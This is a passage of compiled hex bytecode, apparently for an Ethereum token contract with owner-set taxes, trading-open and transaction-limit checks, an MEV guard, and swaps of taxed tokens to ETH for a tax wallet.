ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109e99190613e85565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610a7584848461240b565b90509392505050565b6000600260019054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1a90613f05565b60405180910390fd5b6001601160016101000a81548160ff02191690831515021790555060648260ff161115610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90613f71565b60405180910390fd5b600060648360ff16600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd79190613dd7565b610be19190613fc0565b90506009600a610bf19190613d8c565b811115610c0257610c0181612997565b5b8115610c5b57600047905060008111610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c479061403d565b60405180910390fd5b610c5947612bb6565b505b506000601160016101000a81548160ff0219169083151502179055505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990613f05565b60405180910390fd5b600060016103e88461ffff166009600a610d2c9190613d8c565b6319133850610d3b9190613dd7565b610d459190613dd7565b610d4f9190613fc0565b610d59919061405d565b9050600454811015610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d97906140dd565b60405180910390fd5b80600481905550600060016103e88461ffff166009600a610dc19190613d8c565b6319133850610dd09190613dd7565b610dda9190613dd7565b610de49190613fc0565b610dee919061405d565b9050600554811015610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c90614149565b60405180910390fd5b8060058190555050505050565b6000600654905090565b6000600260009054906101000a900460ff16905090565b6000600754905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef290613f05565b60405180910390fd5b60038183610f099190614169565b60ff161115610f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f44906141ea565b60405180910390fd5b81600260006101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c90613f05565b60405180910390fd5b808061101e5750815b156110b157601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a790614256565b60405180910390fd5b5b81600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060028054906101000a900461ffff16600260049054906101000a900461ffff16915091509091565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b390613f05565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163600060405161132d9190613ac1565b60405180910390a1565b6000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f57504e4443000000000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a290613f05565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6114c79190613d8c565b63191338506114d69190613dd7565b6114e09190613dd7565b6114ea9190613fc0565b6006819055508063ffffffff168263ffffffff166009600a61150c9190613d8c565b631913385061151b9190613dd7565b6115259190613dd7565b61152f9190613fc0565b600781905550600654600754101561157c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611573906142c2565b60405180910390fd5b620186a06009600a61158e9190613d8c565b631913385061159d9190613dd7565b6115a79190613fc0565b600754116115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e19061432e565b60405180910390fd5b60646009600a6115fa9190613d8c565b63191338506116099190613dd7565b6116139190613fc0565b60075410611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d9061439a565b60405180910390fd5b50505050565b600061166733612330565b6116a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169d90613e65565b60405180910390fd5b6116b133848461240b565b905092915050565b6000600454905090565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cf90613f05565b60405180910390fd5b6001601160016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90614406565b60405180910390fd5b601160009054906101000a900460ff16156118d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cb90614472565b60405180910390fd5b60003411806118e35750600047115b611922576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611919906144de565b60405180910390fd5b6000600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b9061454a565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a35919061457f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611abe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae2919061457f565b6040518363ffffffff1660e01b8152600401611aff9291906145ac565b6020604051808303816000875af1158015611b1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b42919061457f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611bcd600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054476000612c22565b60085460096000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c409190613e85565b925050819055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611d12919061461c565b6000604051808303816000865af19150503d8060008114611d4f576040519150601f19603f3d011682016040523d82523d6000602084013e611d54565b606091505b5050905080611d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8f9061467f565b60405180910390fd5b8060106000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611e19612d10565b506000601160016101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebc90613f05565b60405180910390fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f695750601060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9f906146eb565b60405180910390fd5b81600260086101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461216c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216390613f05565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516121db919061476a565b60405180910390a150565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612274576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226b90613f05565b60405180910390fd5b600081836122829190614785565b905060008161ffff16116122cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c290614807565b60405180910390fd5b82600260046101000a81548161ffff021916908361ffff160217905550816002806101000a81548161ffff021916908361ffff16021790555080600260066101000a81548161ffff021916908361ffff160217905550505050565b6000600554905090565b60008060009050601160009054906101000a900460ff16156123555760019050612402565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123f75750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561240157600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361247b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247290614873565b60405180910390fd5b601160009054906101000a900460ff1661257157600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125315750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256790613e65565b60405180910390fd5b5b601160019054906101000a900460ff161580156125d75750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125e5576125e4612dfa565b5b600154431080156125f857506003544310155b801561264d5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156126c1573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146126c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b7906148df565b60405180910390fd5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561272957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612781575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156127d157612791848484613002565b6127d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c79061494b565b60405180910390fd5b5b60006127de858585613199565b9050600081846127ee9190613e85565b905083600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283b9190613e85565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160086000828254612890919061405d565b9250508190555080600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e2919061405d565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516129829190613803565b60405180910390a36001925050509392505050565b6129a081613449565b6000600267ffffffffffffffff8111156129bd576129bc61496b565b5b6040519080825280602002602001820160405280156129eb5781602001602082028036833780820191505090505b5090503081600081518110612a0357612a0261499a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612aaa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ace919061457f565b81600181518110612ae257612ae161499a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612b80959493929190614ac2565b600060405180830381600087803b158015612b9a57600080fd5b505af1158015612bae573d6000803e3d6000fd5b505050505050565b600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612c1e573d6000803e3d6000fd5b5050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508115612c5457600090505b612c5d84613449565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b8152600401612cc496959493929190614b1c565b60606040518083038185885af1158015612ce2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d079190614b92565b50505050505050565b606460026009600a612d229190613d8c565b6319133850612d319190613dd7565b612d3b9190613dd7565b612d459190613fc0565b600481905550606460026009600a612d5d9190613d8c565b6319133850612d6c9190613dd7565b612d769190613dd7565b612d809190613fc0565b6005819055506001601160006101000a81548160ff02191690831515021790555043600381905550600060179054906101000a900460ff1660ff16600060169054906101000a900460ff1660ff16600354600154612dde919061405d565b612de8919061405d565b612df2919061405d565b600181905550565b6001601160016101000a81548160ff021916908315150217905550600060085490506006548110158015612e3a5750601160009054906101000a900460ff165b15612fe4576007548110612e4e5760075490505b600060028060069054906101000a900461ffff1661ffff16600260049054906101000a900461ffff1661ffff1684612e869190613dd7565b612e909190613fc0565b612e9a9190613fc0565b905060008183612eaa9190613e85565b90506009600a612eba9190613d8c565b811115612fc857600047905083600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f15919061405d565b92505081905550612f2582612997565b8360086000828254612f379190613e85565b9250508190555060008147612f4c9190613e85565b90506000600260049054906101000a900461ffff1661ffff161115612fc5576000600260069054906101000a900461ffff1661ffff16600260049054906101000a900461ffff1661ffff1683612fa29190613dd7565b612fac9190613fc0565b9050612fb785613449565b612fc385826000612c22565b505b50505b60004790506000811115612fe057612fdf81612bb6565b5b5050505b506000601160016101000a81548160ff021916908315150217905550565b60008060019050601160009054906101000a900460ff16801561306f5750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130c55750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561318e576004548311156130dd576000905061318d565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613182575060055483600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613180919061405d565b115b1561318c57600090505b5b5b809150509392505050565b600080601160009054906101000a900460ff1615806132015750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806132555750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613263576000905061343e565b601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156133bd57600060179054906101000a900460ff1660ff16600060169054906101000a900460ff1660ff166003546132e8919061405d565b6132f2919061405d565b4310613329576064600260009054906101000a900460ff1660ff16846133189190613dd7565b6133229190613fc0565b90506133b8565b600060169054906101000a900460ff1660ff16600354613349919061405d565b4310613380576064600060159054906101000a900460ff1660ff168461336f9190613dd7565b6133799190613fc0565b90506133b7565b60035443106133b6576064600060149054906101000a900460ff1660ff16846133a99190613dd7565b6133b39190613fc0565b90505b5b5b61343d565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561343c576064600260019054906101000a900460ff1660ff168461342f9190613dd7565b6134399190613fc0565b90505b5b5b809150509392505050565b80600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015613630577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516136279190613803565b60405180910390a35b50565b600081519050919050565b600082825260208201905092915050565b60005b8381101561366d578082015181840152602081019050613652565b60008484015250505050565b6000601f19601f8301169050919050565b600061369582613633565b61369f818561363e565b93506136af81856020860161364f565b6136b881613679565b840191505092915050565b600060208201905081810360008301526136dd818461368a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613715826136ea565b9050919050565b6137258161370a565b811461373057600080fd5b50565b6000813590506137428161371c565b92915050565b6000819050919050565b61375b81613748565b811461376657600080fd5b50565b60008135905061377881613752565b92915050565b60008060408385031215613795576137946136e5565b5b60006137a385828601613733565b92505060206137b485828601613769565b9150509250929050565b60008115159050919050565b6137d3816137be565b82525050565b60006020820190506137ee60008301846137ca565b92915050565b6137fd81613748565b82525050565b600060208201905061381860008301846137f4565b92915050565b600080600060608486031215613837576138366136e5565b5b600061384586828701613733565b935050602061385686828701613733565b925050604061386786828701613769565b9150509250925092565b600060ff82169050919050565b61388781613871565b82525050565b60006020820190506138a2600083018461387e565b92915050565b6138b181613871565b81146138bc57600080fd5b50565b6000813590506138ce816138a8565b92915050565b6138dd816137be565b81146138e857600080fd5b50565b6000813590506138fa816138d4565b92915050565b60008060408385031215613917576139166136e5565b5b6000613925858286016138bf565b9250506020613936858286016138eb565b9150509250929050565b600061ffff82169050919050565b61395781613940565b811461396257600080fd5b50565b6000813590506139748161394e565b92915050565b60008060408385031215613991576139906136e5565b5b600061399f85828601613965565b92505060206139b085828601613965565b9150509250929050565b600080604083850312156139d1576139d06136e5565b5b60006139df858286016138bf565b92505060206139f0858286016138bf565b9150509250929050565b600080600060608486031215613a1357613a126136e5565b5b6000613a2186828701613733565b9350506020613a32868287016138eb565b9250506040613a43868287016138eb565b9150509250925092565b600060208284031215613a6357613a626136e5565b5b6000613a7184828501613733565b91505092915050565b613a8381613940565b82525050565b6000604082019050613a9e6000830185613a7a565b613aab6020830184613a7a565b9392505050565b613abb8161370a565b82525050565b6000602082019050613ad66000830184613ab2565b92915050565b600063ffffffff82169050919050565b613af581613adc565b8114613b0057600080fd5b50565b600081359050613b1281613aec565b92915050565b60008060008060808587031215613b3257613b316136e5565b5b6000613b4087828801613b03565b9450506020613b5187828801613b03565b9350506040613b6287828801613b03565b9250506060613b7387828801613b03565b91505092959194509250565b60008060408385031215613b9657613b956136e5565b5b6000613ba485828601613733565b9250506020613bb585828601613733565b9150509250929050565b6000613bca826136ea565b9050919050565b613bda81613bbf565b8114613be557600080fd5b50565b600081359050613bf781613bd1565b92915050565b600060208284031215613c1357613c126136e5565b5b6000613c2184828501613be8565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115613cb057808604811115613c8c57613c8b613c2a565b5b6001851615613c9b5780820291505b8081029050613ca985613c59565b9450613c70565b94509492505050565b600082613cc95760019050613d85565b81613cd75760009050613d85565b8160018114613ced5760028114613cf757613d26565b6001915050613d85565b60ff841115613d0957613d08613c2a565b5b8360020a915084821115613d2057613d1f613c2a565b5b50613d85565b5060208310610133831016604e8410600b8410161715613d5b5782820a905083811115613d5657613d55613c2a565b5b613d85565b613d688484846001613c66565b92509050818404811115613d7f57613d7e613c2a565b5b81810290505b9392505050565b6000613d9782613748565b9150613da283613871565b9250613dcf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613cb9565b905092915050565b6000613de282613748565b9150613ded83613748565b9250828202613dfb81613748565b91508282048414831517613e1257613e11613c2a565b5b5092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000613e4f60108361363e565b9150613e5a82613e19565b602082019050919050565b60006020820190508181036000830152613e7e81613e42565b9050919050565b6000613e9082613748565b9150613e9b83613748565b9250828203905081811115613eb357613eb2613c2a565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000600082015250565b6000613eef60188361363e565b9150613efa82613eb9565b602082019050919050565b60006020820190508181036000830152613f1e81613ee2565b9050919050565b7f43616e6e6f742073776170206d6f7265207468616e2031303025000000000000600082015250565b6000613f5b601a8361363e565b9150613f6682613f25565b602082019050919050565b60006020820190508181036000830152613f8a81613f4e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fcb82613748565b9150613fd683613748565b925082613fe657613fe5613f91565b5b828204905092915050565b7f4e6f204554480000000000000000000000000000000000000000000000000000600082015250565b600061402760068361363e565b915061403282613ff1565b602082019050919050565b600060208201905081810360008301526140568161401a565b9050919050565b600061406882613748565b915061407383613748565b925082820190508082111561408b5761408a613c2a565b5b92915050565b7f747820746f6f206c6f7700000000000000000000000000000000000000000000600082015250565b60006140c7600a8361363e565b91506140d282614091565b602082019050919050565b600060208201905081810360008301526140f6816140ba565b9050919050565b7f77616c6c657420746f6f206c6f77000000000000000000000000000000000000600082015250565b6000614133600e8361363e565b915061413e826140fd565b602082019050919050565b6000602082019050818103600083015261416281614126565b9050919050565b600061417482613871565b915061417f83613871565b9250828201905060ff81111561419857614197613c2a565b5b92915050565b7f526f756e647472697020746f6f20686967680000000000000000000000000000600082015250565b60006141d460128361363e565b91506141df8261419e565b602082019050919050565b60006020820190508181036000830152614203816141c7565b9050919050565b7f43616e6e6f74206578656d7074204c5000000000000000000000000000000000600082015250565b600061424060108361363e565b915061424b8261420a565b602082019050919050565b6000602082019050818103600083015261426f81614233565b9050919050565b7f4d696e2f4d6178206572726f7200000000000000000000000000000000000000600082015250565b60006142ac600d8361363e565b91506142b782614276565b602082019050919050565b600060208201905081810360008301526142db8161429f565b9050919050565b7f4d617820746f6f206c6f77000000000000000000000000000000000000000000600082015250565b6000614318600b8361363e565b9150614323826142e2565b602082019050919050565b600060208201905081810360008301526143478161430b565b9050919050565b7f4d617820746f6f20686967680000000000000000000000000000000000000000600082015250565b6000614384600c8361363e565b915061438f8261434e565b602082019050919050565b600060208201905081810360008301526143b381614377565b9050919050565b7f4c50206578697374730000000000000000000000000000000000000000000000600082015250565b60006143f060098361363e565b91506143fb826143ba565b602082019050919050565b6000602082019050818103600083015261441f816143e3565b9050919050565b7f74726164696e67206973206f70656e0000000000000000000000000000000000600082015250565b600061445c600f8361363e565b915061446782614426565b602082019050919050565b6000602082019050818103600083015261448b8161444f565b9050919050565b7f4e6f2045544820696e20636f6e7472616374206f72206d657373616765000000600082015250565b60006144c8601d8361363e565b91506144d382614492565b602082019050919050565b600060208201905081810360008301526144f7816144bb565b9050919050565b7f4e6f20746f6b656e7320696e20636f6e74726163740000000000000000000000600082015250565b600061453460158361363e565b915061453f826144fe565b602082019050919050565b6000602082019050818103600083015261456381614527565b9050919050565b6000815190506145798161371c565b92915050565b600060208284031215614595576145946136e5565b5b60006145a38482850161456a565b91505092915050565b60006040820190506145c16000830185613ab2565b6145ce6020830184613ab2565b9392505050565b600081519050919050565b600081905092915050565b60006145f6826145d5565b61460081856145e0565b935061461081856020860161364f565b80840191505092915050565b600061462882846145eb565b915081905092915050565b7f4661696c656420616464696e67206c6971756964697479000000000000000000600082015250565b600061466960178361363e565b915061467482614633565b602082019050919050565b600060208201905081810360008301526146988161465c565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c6574000000000000000000600082015250565b60006146d560178361363e565b91506146e08261469f565b602082019050919050565b60006020820190508181036000830152614704816146c8565b9050919050565b6000819050919050565b600061473061472b614726846136ea565b61470b565b6136ea565b9050919050565b600061474282614715565b9050919050565b600061475482614737565b9050919050565b61476481614749565b82525050565b600060208201905061477f600083018461475b565b92915050565b600061479082613940565b915061479b83613940565b9250828201905061ffff8111156147b5576147b4613c2a565b5b92915050565b7f416c6c2063616e6e6f7420626520300000000000000000000000000000000000600082015250565b60006147f1600f8361363e565b91506147fc826147bb565b602082019050919050565b60006020820190508181036000830152614820816147e4565b9050919050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b600061485d601d8361363e565b915061486882614827565b602082019050919050565b6000602082019050818103600083015261488c81614850565b9050919050565b7f4d455620626c6f636b6564000000000000000000000000000000000000000000600082015250565b60006148c9600b8361363e565b91506148d482614893565b602082019050919050565b600060208201905081810360008301526148f8816148bc565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b600061493560118361363e565b9150614940826148ff565b602082019050919050565b6000602082019050818103600083015261496481614928565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006149ee6149e96149e4846149c9565b61470b565b613748565b9050919050565b6149fe816149d3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614a398161370a565b82525050565b6000614a4b8383614a30565b60208301905092915050565b6000602082019050919050565b6000614a6f82614a04565b614a798185614a0f565b9350614a8483614a20565b8060005b83811015614ab5578151614a9c8882614a3f565b9750614aa783614a57565b925050600181019050614a88565b5085935050505092915050565b600060a082019050614ad760008301886137f4565b614ae460208301876149f5565b8181036040830152614af68186614a64565b9050614b056060830185613ab2565b614b1260808301846137f4565b9695505050505050565b600060c082019050614b316000830189613ab2565b614b3e60208301886137f4565b614b4b60408301876149f5565b614b5860608301866149f5565b614b656080830185613ab2565b614b7260a08301846137f4565b979650505050505050565b600081519050614b8c